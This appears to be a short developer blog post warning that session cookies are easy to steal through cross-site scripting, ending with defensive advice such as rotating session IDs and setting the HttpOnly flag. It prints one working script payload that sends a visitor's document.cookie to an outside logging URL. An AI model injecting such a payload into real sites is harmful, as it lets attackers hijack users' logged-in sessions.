Stealing cookies is easy. Never trust a client to be who you think it is. Just because it was trusted a few seconds ago, doesn't mean it will be in a few seconds, ESPECIALLY if a cookie is all you use to identify a client.
By stealing a users cookies as the LiveJournal hack did, you don't even have to cary out the attack in the users browser; you can do it elsewhere. Worst of all stealing cookies is EASY TO DO, and HARD TO PROTECT AGAINST.
Easy to do?
<script> new Image().src="http://jehiah.com/_sandbox/log.cgi?c="+encodeURI(document.cookie); </script>
That was it. If i can get that code on a site where you are authenticated, I can become you.
Any time you let users post text and you don't religiously restrict the content, they can steal sessions. Scary? If you are a developer it better scare the hell out of you.
So, you might want to start believing every session is stollen. I didn't even try to obfuscate that. Start rolling your sessions id's from one value to another, expire them in short intervals. Track the referrer, user agent, etc. Some of these changes don't add any real security, but they do add layers; and that always helps.
If you are not familiar with the MySpace XSS hack, read up. It's rich on the details.
UPDATE: this is why HttpOnly flag for cookies is important to use for any session variable cookies